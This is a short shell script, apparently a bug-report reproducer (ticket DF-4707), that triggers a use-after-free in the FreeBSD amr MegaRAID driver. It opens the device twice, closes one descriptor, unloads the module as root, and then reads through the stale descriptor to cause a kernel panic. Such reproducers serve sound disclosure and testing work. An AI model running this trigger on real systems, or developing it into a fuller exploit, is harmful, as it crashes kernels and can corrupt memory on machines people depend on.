#!/bin/sh
# DF-4707 trigger - REQUIRES LSI MegaRAID hardware + root for kldunload.
# Demonstrates the guard defeat: any-close clears AMR_STATE_OPEN while
# another descriptor is still open; kldunload then frees the softc that
# the surviving descriptor's dev->si_drv1 (amr.c:707) still references.
exec 3<>/dev/amr0      # open #1 -> amr_open sets AMR_STATE_OPEN (amr.c:430)
exec 4<>/dev/amr0      # open #2 (no counting)
exec 4>&-              # ANY close -> amr_close CLEARS the bit (amr.c:446)
kldunload amr          # amr_pci_detach guard at amr_pci.c:365 passes
dd if=/dev/amr0 of=/dev/null bs=1 count=0   # stale si_drv1 -> UAF
echo "if the kernel survived, guard held; expected on hw: UAF/panic"